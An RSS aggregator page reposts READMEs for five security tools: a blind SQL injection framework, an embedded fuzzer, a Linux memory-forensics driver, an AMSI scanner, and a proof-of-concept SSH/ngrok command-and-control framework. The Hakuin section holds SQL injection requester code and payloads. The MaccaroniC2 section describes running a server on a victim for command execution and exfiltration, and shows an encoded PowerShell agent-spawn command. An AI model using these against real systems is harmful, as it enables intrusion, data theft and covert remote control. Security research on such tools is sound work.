FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayYour RSS feeds

Hakuin - A Blazing Fast Blind SQL Injection Optimization And Automation Framework

By: Zion3R


Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.


Installation

To install Hakuin, simply run:

pip3 install hakuin

Developers should install the package locally and set the -e flag for editable mode:

git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .

Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.

Example 1 - Query Parameter Injection with Status-based Inference
import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
Example 2 - Header Injection with Content-based Inference
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()

To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.

Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
...

async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

Now that eveything is set, you can start extracting DB metadata.

Example 1 - Extracting DB Schemas
# strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
Example 2 - Extracting Tables
tables = await ext.extract_table_names(strategy='model')
Example 3 - Extracting Columns
columns = await ext.extract_column_names(table='users', strategy='model')
Example 4 - Extracting Tables and Columns Together
metadata = await ext.extract_meta(strategy='model')

Once you know the structure, you can extract the actual content.

Example 1 - Extracting Generic Columns
# text_strategy:    Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
Example 2 - Extracting Textual Columns
# strategy:
# 'binary': Use binary search
# 'fivegram': Use five-gram model
# 'unigram': Use unigram model
# 'dynamic': Dynamically identify the best strategy. This setting
# also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
Example 3 - Extracting Integer Columns
res = await ext.extract_column_int(table='users', column='id')
Example 4 - Extracting Float Columns
res = await ext.extract_column_float(table='products', column='price')
Example 5 - Extracting Blob (Binary Data) Columns
res = await ext.extract_column_blob(table='users', column='id')

More examples can be found in the tests directory.

Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:

python3 hk.py -h

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}


GDBFuzz - Fuzzing Embedded Systems Using Hardware Breakpoints

By: Zion3R


This is the companion code for the paper: 'Fuzzing Embedded Systems using Debugger Interfaces'. A preprint of the paper can be found here https://publications.cispa.saarland/3950/. The code allows the users to reproduce and extend the results reported in the paper. Please cite the above paper when reporting, reproducing or extending the results.


Folder structure

.
β”œβ”€β”€ benchmark # Scripts to build Google's fuzzer test suite and run experiments
β”œβ”€β”€ dependencies # Contains a Makefile to install dependencies for GDBFuzz
β”œβ”€β”€ evaluation # Raw exeriment data, presented in the paper
β”œβ”€β”€ example_firmware # Embedded example applications, used for the evaluation
β”œβ”€β”€ example_programs # Contains a compiled example program and configs to test GDBFuzz
β”œβ”€β”€ src # Contains the implementation of GDBFuzz
β”œβ”€β”€ Dockerfile # For creating a Docker image with all GDBFuzz dependencies installed
β”œβ”€β”€ LICENSE # License
β”œβ”€β”€ Makefile # Makefile for creating the docker image or install GDBFuzz locally
└── README.md # This README file

Purpose of the project

The idea of GDBFuzz is to leverage hardware breakpoints from microcontrollers as feedback for coverage-guided fuzzing. Therefore, GDB is used as a generic interface to enable broad applicability. For binary analysis of the firmware, Ghidra is used. The code contains a benchmark setup for evaluating the method. Additionally, example firmware files are included.

Getting Started

GDBFuzz enables coverage-guided fuzzing for embedded systems, but - for evaluation purposes - can also fuzz arbitrary user applications. For fuzzing on microcontrollers we recommend a local installation of GDBFuzz to be able to send fuzz data to the device under test flawlessly.

Install local

GDBFuzz has been tested on Ubuntu 20.04 LTS and Raspberry Pie OS 32-bit. Prerequisites are java and python3. First, create a new virtual environment and install all dependencies.

virtualenv .venv
source .venv/bin/activate
make
chmod a+x ./src/GDBFuzz/main.py

Run locally on an example program

GDBFuzz reads settings from a config file with the following keys.

[SUT]
# Path to the binary file of the SUT.
# This can, for example, be an .elf file or a .bin file.
binary_file_path = <path>

# Address of the root node of the CFG.
# Breakpoints are placed at nodes of this CFG.
# e.g. 'LLVMFuzzerTestOneInput' or 'main'
entrypoint = <entrypoint>

# Number of inputs that must be executed without a breakpoint hit until
# breakpoints are rotated.
until_rotate_breakpoints = <number>


# Maximum number of breakpoints that can be placed at any given time.
max_breakpoints = <number>

# Blacklist functions that shall be ignored.
# ignore_functions is a space separated list of function names e.g. 'malloc free'.
ignore_functions = <space separated list>

# One of {Hardware, QEMU, SUTRunsOnHost}
# Hardware: An external component starts a gdb server and GDBFuzz can connect to this gdb server.
# QEMU: GDBFuzz starts QEMU. QEMU emulates binary_file_path and starts gdbserver.
# SUTRunsOnHost: GDBFuzz start the target program within GDB.
target_mode = <mode>

# Set this to False if you want to start ghidra, analyze the SUT,
# and start the ghidra bridge server manually.
start_ghidra = True


# Space separated list of addresses where software breakpoints (for error
# handling code) are set. Execution of those is considered a crash.
# Example: software_breakpoint_addresses = 0x123 0x432
software_breakpoint_addresses =


# Whether all triggered software breakpoints are considered as crash
consider_sw_breakpoint_as_error = False

[SUTConnection]
# The class 'SUT_connection_class' in file 'SUT_connection_path' implements
# how inputs are sent to the SUT.
# Inputs can, for example, be sent over Wi-Fi, Serial, Bluetooth, ...
# This class must inherit from ./connections/SUTConnection.py.
# See ./connections/SUTConnection.py for more information.
SUT_connection_file = FIFOConnection.py

[GDB]
path_to_gdb = gdb-multiarch
#Written in address:port
gdb_server_address = localhost:4242

[Fuzzer]
# In Bytes
maximum_input_length = 100000
# In seconds
single_run_timeout = 20
# In seconds
total_runtime = 3600

# Optional
# Path to a directory where each file contains one seed. If you don't want to
# use seeds, leave the value empty.
seeds_directory =

[BreakpointStrategy]
# Strategies to choose basic blocks are located in
# 'src/GDBFuzz/breakpoint_strategies/'
# For the paper we use the following strategies
# 'RandomBasicBlockStrategy.py' - Randomly choosing unreached basic blocks
# 'RandomBasicBlockNoDomStrategy.py' - Like previous, but doesn't use dominance relations to derive transitively reached nodes.
# 'RandomBasicBlockNoCorpusStrategy.py' - Like first, but prevents growing the input corpus and therefore behaves like blackbox fuzzing with coverage measurement.
# 'BlackboxStrategy.py', - Doesn't set any breakpoints
breakpoint_strategy_file = RandomBasicBlockStrategy.py

[Dependencies]
path_to_qemu = dependencies/qemu/build/x86_64-linux-user/qemu-x86_64
path_to_ghidra = dependencies/ghidra


[LogsAndVisualizations]
# One of {DEBUG, INFO, WARNING, ERROR, CRITICAL}
loglevel = INFO

# Path to a directory where output files (e.g. graphs, logfiles) are stored.
output_directory = ./output

# If set to True, an MQTT client sends UI elements (e.g. graphs)
enable_UI = False

An example config file is located in ./example_programs/ together with an example program that was compiled using our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common/. Start fuzzing for one hour with the following command.

chmod a+x ./example_programs/json-2017-02-12
./src/GDBFuzz/main.py --config ./example_programs/fuzz_json.cfg

We first see output from Ghidra analyzing the binary executable and susequently messages when breakpoints are relocated or hit.

Fuzzing Output

Depending on the specified output_directory in the config file, there should now be a folder trial-0 with the following structure

.
β”œβ”€β”€ corpus # A folder that contains the input corpus.
β”œβ”€β”€ crashes # A folder that contains crashing inputs - if any.
β”œβ”€β”€ cfg # The control flow graph as adjacency list.
β”œβ”€β”€ fuzzer_stats # Statistics of the fuzzing campaign.
β”œβ”€β”€ plot_data # Table showing at which relative time in the fuzzing campaign which basic block was reached.
β”œβ”€β”€ reverse_cfg # The reverse control flow graph.

Using Ghidra in GUI mode

By setting start_ghidra = False in the config file, GDBFuzz connects to a Ghidra instance running in GUI mode. Therefore, the ghidra_bridge plugin needs to be started manually from the script manager. During fuzzing, reached program blocks are highlighted in green.

GDBFuzz on Linux user programs

For fuzzing on Linux user applications, GDBFuzz leverages the standard LLVMFuzzOneInput entrypoint that is used by almost all fuzzers like AFL, AFL++, libFuzzer,.... In benchmark/benchSUTs/GDBFuzz_wrapper/common There is a wrapper that can be used to compile any compliant fuzz harness into a standalone program that fetches input via a named pipe at /tmp/fromGDBFuzz. This allows to simulate an embedded device that consumes data via a well defined input interface and therefore run GDBFuzz on any application. For convenience we created a script in benchmark/benchSUTs that compiles all programs from our evaluation with our wrapper as explained later.

NOTE: GDBFuzz is not intended to fuzz Linux user applications. Use AFL++ or other fuzzers therefore. The wrapper just exists for evaluation purposes to enable running benchmarks and comparisons on a scale!

Install and run in a Docker container

The general effectiveness of our approach is shown in a large scale benchmark deployed as docker containers.

make dockerimage

To run the above experiment in the docker container (for one hour as specified in the config file), map the example_programsand output folder as volumes and start GDBFuzz as follows.

chmod a+x ./example_programs/json-2017-02-12
docker run -it --env CONFIG_FILE=/example_programs/fuzz_json_docker_qemu.cfg -v $(pwd)/example_programs:/example_programs -v $(pwd)/output:/output gdbfuzz:1.0

An output folder should appear in the current working directory with the structure explained above.

Detailed Instructions

Our evaluation is split in two parts. 1. GDBFuzz on its intended setup, directly on the hardware. 2. GDBFuzz in an emulated environment to allow independend analysis and comparisons of the results.

GDBFuzz can work with any GDB server and therefore most debug probes for microcontrollers.

GDBFuzz vs. Blackbox (RQ1)

Regarding RQ1 from the paper, we execute GDBFuzz on different microcontrollers with different firmwares located in example_firmware. For each experiment we run GDBFuzz with the RandomBasicBlock and with the RandomBasicBlockNoCorpus strategy. The latter behaves like fuzzing without feedback, but we can still measure the achieved coverage. For answering RQ1, we compare the achieved coverage of the RandomBasicBlock and the RandomBasicBlockNoCorpus strategy. Respective config files are in the corresponding subfolders and we now explain how to setup fuzzing on the four development boards.

GDBFuzz on STM32 B-L4S5I-IOT01A board

GDBFuzz requires access to a GDB Server. In this case the B-L4S5I-IOT01A and its on-board debugger are used. This on-board debugger sets up a GDB server via the 'st-util' program, and enables access to this GDB server via localhost:4242.

  • Install the STLINK driver link
  • Connect MCU board and PC via USB (on MCU board, connect to the USB connector that is labeled as 'USB STLINK')
sudo apt-get install stlink-tools gdb-multiarch

Build and flash a firmware for the STM32 B-L4S5I-IOT01A, for example the arduinojson project.

Prerequisite: Install platformio (pio)

cd ./example_firmware/stm32_disco_arduinojson/
pio run --target upload

For your info: platformio stored an .elf file of the SUT here: ./example_firmware/stm32_disco_arduinojson/.pio/build/disco_l4s5i_iot01a/firmware.elf This .elf file is also later used in the user configuration for Ghidra.

Start a new terminal, and run the following to start the a GDB Server:

st-util

Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyACM0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyACM0 in the config file to your device.

./src/GDBFuzz/main.py --config ./example_firmware/stm32_disco_arduinojson/fuzz_serial_json.cfg

Fuzzer statistics and logs are in the ./output/... directory.

GDBFuzz on the CY8CKIT-062-WiFi-BT board

Install pyocd:

pip install --upgrade pip 'mbed-ls>=1.7.1' 'pyocd>=0.16'

Make sure that 'KitProg v3' is on the device and put Board into 'Arm DAPLink' Mode by pressing the appropriate button. Start the GDB server:

pyocd gdbserver --persist

Flash a firmware and start fuzzing e.g. with

gdb-multiarch
target remote :3333
load ./example_firmware/CY8CKIT_json/mtb-example-psoc6-uart-transmit-receive.elf
monitor reset
./src/GDBFuzz/main.py --config ./example_firmware/CY8CKIT_json/fuzz_serial_json.cfg

GDBFuzz on ESP32 and Segger J-Link

Build and flash a firmware for the ESP32, for instance the arduinojson example with platformio.

cd ./example_firmware/esp32_arduinojson/
pio run --target upload

Add following line to the openocd config file for the J-Link debugger: jlink.cfg

adapter speed 10000

Start a new terminal, and run the following to start the GDB Server:

get_idf
openocd -f interface/jlink.cfg -f target/esp32.cfg -c "telnet_port 7777" -c "gdb_port 8888"

Run GDBFuzz with a user configuration for arduinojson. We can send data over the usb port to the microcontroller. The microcontroller forwards this data via serial to the SUT'. In our case /dev/ttyUSB0 is the USB device to the microcontroller board. If your system assigned another device to the microcontroller board, change /dev/ttyUSB0 in the config file to your device.

./src/GDBFuzz/main.py --config ./example_firmware/esp32_arduinojson/fuzz_serial.cfg

Fuzzer statistics and logs are in the ./output/... directory.

GDBFuzz on MSP430F5529LP

Install TI MSP430 GCC from https://www.ti.com/tool/MSP430-GCC-OPENSOURCE

Start GDB Server

./gdb_agent_console libmsp430.so

or (more stable). Build mspdebug from https://github.com/dlbeer/mspdebug/ and use:

until mspdebug --fet-skip-close --force-reset tilib "opt gdb_loop True" gdb ; do sleep 1 ; done

Ghidra fails to analyze binaries for the TI MSP430 controller out of the box. To fix that, we import the file in the Ghidra GUI, choose MSP430X as architecture and skip the auto analysis. Next, we open the 'Symbol Table', sort them by name and delete all symbols with names like $C$L*. Now the auto analysis can be executed. After analysis, start the ghidra bridge from the Ghidra GUI manually and then start GDBFuzz.

./src/GDBFuzz/main.py --config ./example_firmware/msp430_arduinojson/fuzz_serial.cfg

USB Fuzzing

To access USB devices as non-root user with pyusb we add appropriate rules to udev. Paste following lines to /etc/udev/rules.d/50-myusb.rules:

SUBSYSTEM=="usb", ATTRS{idVendor}=="1234", ATTRS{idProduct}=="5678" GROUP="usbusers", MODE="666"

Reload udev:

sudo udevadm control --reload
sudo udevadm trigger

Compare against Fuzzware (RQ2)

In RQ2 from the paper, we compare GDBFuzz against the emulation based approach Fuzzware. First we execute GDBFuzz and Fuzzware as described previously on the shipped firmware files. For each GDBFuzz experiment, we create a file with valid basic blocks from the control flow graph files as follows:

cut -d " " -f1 ./cfg > valid_bbs.txt

Now we can replay coverage against fuzzware result fuzzware genstats --valid-bb-file valid_bbs.txt

Finding Bugs (RQ3)

When crashing or hanging inputs are found, the are stored in the crashes folder. During evaluation, we found the following three bugs:

  1. An infinite loop in the STM32 USB device stack, caused by counting a uint8_t index variable to an attacker controllable uint32_t variable within a for loop.
  2. A buffer overflow in the Cypress JSON parser, caused by missing length checks on a fixed size internal buffer.
  3. A null pointer dereference in the Cypress JSON parser, caused by missing validation checks.

GDBFuzz on an Raspberry Pi 4a (8Gb)

GDBFuzz can also run on a Raspberry Pi host with slight modifications:

  1. Ghidra must be modified, such that it runs on an 32-Bit OS

In file ./dependencies/ghidra/support/launch.sh:125 The JAVA_HOME variable must be hardcoded therefore e.g. to JAVA_HOME="/usr/lib/jvm/default-java"

  1. STLink must be at version >= 1.7 to work properly -> Build from sources

GDBFuzz on other boards

To fuzz software on other boards, GDBFuzz requires

  1. A microcontroller with hardware breakpoints and a GDB compliant debug probe
  2. The firmware file.
  3. A running GDBServer and suitable GDB application.
  4. An entry point, where fuzzing should start e.g. a parser function or an address
  5. An input interface (see src/GDBFuzz/connections) that triggers execution of the code at the entry point e.g. serial connection

All these properties need to be specified in the config file.

Run the full Benchmark (RQ4 - 8)

For RQ's 4 - 8 we run a large scale benchmark. First, build the Docker image as described previously and compile applications from Google's Fuzzer Test Suite with our fuzzing harness in benchmark/benchSUTs/GDBFuzz_wrapper/common.

cd ./benchmark/benchSUTs
chmod a+x setup_benchmark_SUTs.py
make dockerbenchmarkimage

Next adopt the benchmark settings in benchmark/scripts/benchmark.py and benchmark/scripts/benchmark_aflpp.py to your demands (especially number_of_cores, trials, and seconds_per_trial) and start the benchmark with:

cd ./benchmark/scripts
./benchmark.py $(pwd)/../benchSUTs/SUTs/ SUTs.json
./benchmark_aflpp.py $(pwd)/../benchSUTs/SUTs/ SUTs.json

A folder appears in ./benchmark/scripts that contains plot files (coverage over time), fuzzer statistic files, and control flow graph files for each experiment as in evaluation/fuzzer_test_suite_qemu_runs.

[Optional] Install Visualization and Visualization Example

GDBFuzz has an optional feature where it plots the control flow graph of covered nodes. This is disabled by default. You can enable it by following the instructions of this section and setting 'enable_UI' to 'True' in the user configuration.

On the host:

Install

sudo apt-get install graphviz

Install a recent version of node, for example Option 2 from here. Use Option 2 and not option 1. This should install both node and npm. For reference, our version numbers are (but newer versions should work too):

➜ node --version
v16.9.1
➜ npm --version
7.21.1

Install web UI dependencies:

cd ./src/webui
npm install

Install mosquitto MQTT broker, e.g. see here

Update the mosquitto broker config: Replace the file /etc/mosquitto/conf.d/mosquitto.conf with the following content:

listener 1883
allow_anonymous true

listener 9001
protocol websockets

Restart the mosquitto broker:

sudo service mosquitto restart

Check that the mosquitto broker is running:

sudo service mosquitto status

The output should include the text 'Active: active (running)'

Start the web UI:

cd ./src/webui
npm start

Your web browser should open automatically on 'http://localhost:3000/'.

Start GDBFuzz and use a user config file where enable_UI is set to True. You can use the Docker container and arduinojson SUT from above. But make sure to set 'enable_UI' to 'True'.

The nodes covered in 'blue' are covered. White nodes are not covered. We only show uncovered nodes if their parent is covered (drawing the complete control flow graph takes too much time if the control flow graph is large).



Linpmem - A Physical Memory Acquisition Tool For Linux

By: Zion3R


Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory holes, but it can also be used for normal memory dumping. Furthermore, the driver offers a variety of access modes to read physical memory, such as byte, word, dword, qword, and buffer access mode, where buffer access mode is appropriate in most standard cases. If reading requires an aligned byte/word/dword/qword read, Linpmem will do precisely that.

Currently, the Linpmem features:

  1. Read from physical address (access mode byte, word, dword, qword, or buffer)
  2. CR3 info service (specify target process by pid)
  3. Virtual to physical address translation service

Cache Control is to be added in future for support of the specialized read access modes.


Building the kernel driver

At least for now, you must compile the Linpmem driver yourself. A method to load a precompiled Linpmem driver on other Linux systems is currently under work, but not finished yet. That said, compiling the Linpmem driver is not difficult, basically it's executing 'make'.

Step 1 - getting the right headers

You need make and a C compiler. (We recommend gcc, but clang should work as well).

Make sure that you have the linux-headers installed (using whatever package manager your target linux distro has). The exact package name may vary on your distribution. A quick (distro-independent) way to check if you have the package installed:

ls -l /usr/lib/modules/`uname -r`/

That's it, you can proceed to step 2.

Foreign system: Currently, if you want to compile the driver for another system, e.g., because you want to create a memory dump but can't compile on the target, you have to download the header package directly from the package repositories of that system's Linux distribution. Double-check that the package version exactly matches the release and kernel version running on the foreign system. In case the other system is using a self-compiled kernel you have to obtain a copy of that kernel's build directory. Then, place the location of either directory in the KDIR environment variable.

export KDIR=path/to/extracted/header/package/or/kernel/root

Step 2 - make

Compiling the driver is simple, just type:

make

This should produce linpmem.ko in the current working directory.

You might want to check precompiler.h before and chose whether to compile for release or debug (e.g., with debug printing). There aren't much other precompiler settings right now.

Loading The Driver

The linpmem.ko module can be loaded by using insmod path-to-linpmem.ko, and unloaded with rmmod path-to-linpmem.ko. (This will load the driver only for this uptime.) If you compiled for debug, also take a look at dmesg.

After loading, for talking to the driver, you need to create the device:

mknod /dev/linpmem c 42 0

If you can't talk to the driver, potentially check in dmesg log to verify that '42' was indeed the registered major:

[12827.900168] linpmem: registered chrdev with major 42

Though usually the kernel would try to really assign this number.

You can use chown on the device to give it to your user, if you do not want to have a root console open all the time. (Or just keep using it in a root console.)

  • Watch dmesg output. Please report errors if you see any!
  • Warning: if there is a dmesg error print from Linpmem telling to reboot, better do it immediately.
  • Warning: this is an early version.

Usage

Demo Code

There is an example code demonstrating and explaining (in detail) how to interact with the driver. The user-space API reference can furthermore be found in ./userspace_interface/linpmem_shared.h.

  1. cd demo
  2. gcc -o test test.c
  3. (sudo) ./test // <= you need sudo if you did not use chown on the device.

This code is important, if you want to understand how to directly interact with the driver instead of using a library. It can also be used as a short function test.

Command Line Interface Tool

There is an (optional) basic command line interface tool to Linpmem, the pmem CLI tool. It can be found here: https://github.com/vobst/linpmem-cli. Aside from the source code, there is also a precompiled CLI tool as well as the precompiled static library and headers that can be found here (signed). Note: this is a preliminary version, be sure to check for updates, as many additions and enhancements will follow soon.

The pmem CLI tool can be used for testing the various functions of Linpmem in a (relatively) safe and convenient manner. Linpmem can also be loaded by this tool instead of using insmod/rmmod, with some extra options in future. This also has the advantage that pmem auto-creates the right device for you for immediate use. It is extremely portable and runs on any Linux system (and, in fact, has been tested even on a Linux 2.6).

$ ./pmem -h
Command-line client for the linpmem driver

Usage: pmem [OPTIONS] [COMMAND]

Commands:
insmod Load the linpmem driver
help Print this message or the help of the given subcommand(s)

Options:
-a, --address <ADDRESS> Address for physical read operations
-v, --virt-address <VIRT_ADDRESS> Translate address in target process' address space (default: current process)
-s, --size <SIZE> Size of buffer read operations
-m, --mode <MODE> Access mode for read operations [possible values: byte, word, dword, qword, buffer]
-p, --pid <PID> Target process for cr3 info and virtual-to-physical translations
--cr3 Query cr3 value of target process (default: current process)
--verbose Display debug output
-h, --help Print help (see more with '--help')
-V, --version Print version

If you want to compile the cli tool yourself, change to its directory and follow the instructions in the (cli) Readme to build it. Otherwise, just download the prebuilt program, it should work on any Linux. To load the kernel driver with the cli tool:

# pmem insmod path/to/linpmem.ko

The advantage of using the pmem tool to load the driver is that you do not have to create the device file yourself, and it will offer (on next releases) to choose who owns the linpmem device.

Libraries

The pmem command line interface is only a thin wrapper around a small Rust library that exposes an API for interfacing with the driver. More advanced users can also use this library. The library is automatically compiled (as static portable library) along with the pmem cli tool when compiling from https://github.com/vobst/linpmem-cli, but also included (precompiled) here (signed). Note: this is a preliminary version, more to follow soon.

If you do not want to use the usermode library and prefer to interface with the driver directly on your own, you can find its user-space API/interface and documentation in ./userspace_interface/linpmem_shared.h. We also provide example code in demo/test.c that explains how to use the driver directly.

Memdumping tool

Not implemented yet.

Tested Linux Distributions

  • Debian, self-compiled 6.4.X, Qemu/KVM, not paravirtualized.
    • PTI: off/on
  • Debian 12, Qemu/KVM, fully paravirtualized.
    • PTI: on
  • Ubuntu server, Qemu/KVM, not paravirtualized.
    • PTI: on
  • Fedora 38, Qemu/KVM, fully paravirtualized.
    • PTI: on
  • Baremetal Linux test, AMI BIOS: Linux 6.4.4
    • PTI: on
  • Baremetal Linux test, HP: Linux 6.4.4
    • PTI: on
  • Baremetal, Arch[-hardened], Dell BIOS, Linux 6.4.X
  • Baremetal, Debian, 6.1.X
  • Baremetal, Ubuntu 20.04 with Secure Boot on. Works, but sign driver first.
  • Baremetal, Ubuntu 22.04, Linux 6.2.X

Handling Secure Boot

If the system reports the following error message when loading the module, it might be because of secure boot:

$ sudo insmod linpmem.ko
insmod: ERROR: could not insert module linpmem.ko: Operation not permitted

There are different ways to still load the module. The obvious one is to disable secure boot in your UEFI settings.

If your distribution supports it, a more elegant solution would be to sign the module before using it. This can be done using the following steps (tested on Ubuntu 20.04).

  1. Install mokutil:
    $ sudo apt install mokutil
  2. Create the singing key material:
    $ openssl req -new -newkey rsa:4096 -keyout mok-signing.key -out mok-signing.crt -outform DER -days 365 -nodes -subj "/CN=Some descriptive name/"
    Make sure to adjust the options to your needs. Especially, consider the key length (-newkey), the validity (-days), the option to set a key pass phrase (-nodes; leave it out, if you want to set a pass phrase), and the common name to include into the certificate (-subj).
  3. Register the new MOK:
    $ sudo mokutil --import mok-signing.crt
    You will be asked for a password, which is required in the following step. Consider using a password, which you can type on a US keyboard layout.
  4. Reboot the system. It will enter a MOK enrollment menu. Follow the instructions to enroll your new key.
  5. Sign the module Once the MOK is enrolled, you can sign your module.
    $ /usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 path/to/mok-singing/MOK.key path/to//MOK.cert path/to/linpmem.ko

After that, you should be able to load the module.

Note that from a forensic-readiness perspective, you should prepare a signed module before you need it, as the system will reboot twice during the process described above, destroying most of your volatile data in memory.

Known Issues

  • Huge page read is not implemented. Linpmem recognizes a huge page and rejects the read, for now.
  • Reading from mapped io and DMA space will be done with CPU caching enabled.
  • No locks are taken during the page table walk. This might lead to funny results when concurrent modifications are going on. This is a general and (mostly unsolvable) problem of live RAM reading, without halting the entire OS to full stop.
  • Secure Boot (Ubuntu): please sign your driver prior to using.
  • Any CPU-powered memory encryption, e.g., AMD SME, Intel SGX/TDX, ...
  • Pluton chips?

(Please report potential issues if you encounter anything.)

Under work

  • Loading precompiled driver on any Linux.
  • Processor cache control. Example: for uncached reading of mapped I/O and DMA space.

Future work

  • Arm/Mips support. (far future work)
  • Legacy kernels (such as 2.6), unix-based kernels

Acknowledgements

Linpmem, as well as Winpmem, would not exist without the work of our predecessors of the (now retired) REKALL project: https://github.com/google/rekall.

  • We would like to thank Mike Cohen and Johannes StΓΌttgen for their pioneer work and open source contribution on PTE remapping, a technique which is still in use 10 years later.

Our open source contributors:

  • Viviane Zwanger
  • Valentin Obst


Py-Amsi - Scan Strings Or Files For Malware Using The Windows Antimalware Scan Interface

By: Zion3R


py-amsi is a library that scans strings or files for malware using the Windows Antimalware Scan Interface (AMSI) API. AMSI is an interface native to Windows that allows applications to ask the antivirus installed on the system to analyse a file/string. AMSI is not tied to Windows Defender. Antivirus providers implement the AMSI interface to receive calls from applications. This library takes advantage of the API to make antivirus scans in python. Read more about the Windows AMSI API here.


Installation

  • Via pip

    pip install pyamsi
  • Clone repository

    git clone https://github.com/Tomiwa-Ot/py-amsi.git
    cd py-amsi/
    python setup.py install

Usage

dictionary of the format # { # 'Sample Size' : 68, // The string/file size in bytes # 'Risk Level' : 0, // The risk level as suggested by the antivirus # 'Message' : 'File is clean' // Response message # }" dir="auto">
from pyamsi import Amsi

# Scan a file
Amsi.scan_file(file_path, debug=True) # debug is optional and False by default

# Scan string
Amsi.scan_string(string, string_name, debug=False) # debug is optional and False by default

# Both functions return a dictionary of the format
# {
# 'Sample Size' : 68, // The string/file size in bytes
# 'Risk Level' : 0, // The risk level as suggested by the antivirus
# 'Message' : 'File is clean' // Response message
# }
Risk Level Meaning
0 AMSI_RESULT_CLEAN (File is clean)
1 AMSI_RESULT_NOT_DETECTED (No threat detected)
16384 AMSI_RESULT_BLOCKED_BY_ADMIN_START (Threat is blocked by the administrator)
20479 AMSI_RESULT_BLOCKED_BY_ADMIN_END (Threat is blocked by the administrator)
32768 AMSI_RESULT_DETECTED (File is considered malware)

Docs

https://tomiwa-ot.github.io/py-amsi/index.html



MaccaroniC2 - A PoC Command And Control Framework That Utilizes The Powerful AsyncSSH

By: Zion3R


MaccaroniC2 is a proof-of-concept Command and Control framework that utilizes the powerful AsyncSSH Python library which provides an asynchronous client and server implementation of the SSHv2 protocol and use PyNgrok wrapper for ngrok integration. This tool is inspired for a specific scenario where the victim runs the AsyncSSH server and establishes a tunnel to the outside, ready to receive commands by the attacker.

The attacker leverages the Ngrok official API to retrieve the hostname and port of the tunnel to establish a connection. This approach takes advantage of the comprehensive capabilities provided by AsyncSSH, including its integrated support for SFTP and SCP, facilitating secure and efficient data exfiltration and more.

Moreover, the attacker can send and execute system commands using a SOCKS proxy, leveraging the benefits offered, for example, using TOR to enhance anonymity.

  • Ngrok free account only allows the usage of one tunnel at a time. With some changes this tool could be perfect for a BOT-like C&C framework to control multiple SSH instances, but you would need to upgrade your plan on the Ngrok website, see https://ngrok.com/pricing

Setup and Procedure

  1. Run python3 gen_rsa.py to generate a pair of SSH keys. The newly generated id_rsa is used by the attacker to connect to the server running on the victim's machine.

  2. Edit the asyncssh_server.py file and place the contents of the newly generated id_rsa.pub inside the pub_key variable. The asyncssh_server.py provide an implementation of the SSHv2 protocol with SFTP and SCP features. This is the script run by the victim.

  3. Create a free account on Ngrok site and take note of the AUTH Token.

  4. Add the AUTH token to the token variable in asyncssh_server.py, this needs to be harcoded inside the ngrok_tunnel() function.

  5. Create a free API key on the Ngrok website. Take note of the generated string.

  6. Put the API key string in the api_key variable inside the async_commander.py file. This allows us to automatically retrieve the Ngrok domain and port of the active tunnel during automation.

  7. Perform the same step for get_endpoints.py file. This script retrieves various useful information about active tunnels.

Send commands to server

With async_commander.py you can send any command to the server. It automatically requests the Ngrok tunnel's domain and port activated by the victim using Ngrok official API.

Please note also that the id_rsa needs to be in the same folder of async_commander.py

Basic Usage

Run server on victim machine:

python3 asyncssh_server.py


From the attacker machine send command using socks proxy:

python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050


Send command without using a proxy:

python3 asyncssh_commander.py "whoami"


Spawn another C2 agent (Powershell-Empire, Meterpreter, etc):

python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"

Meterpreter web_delivery module

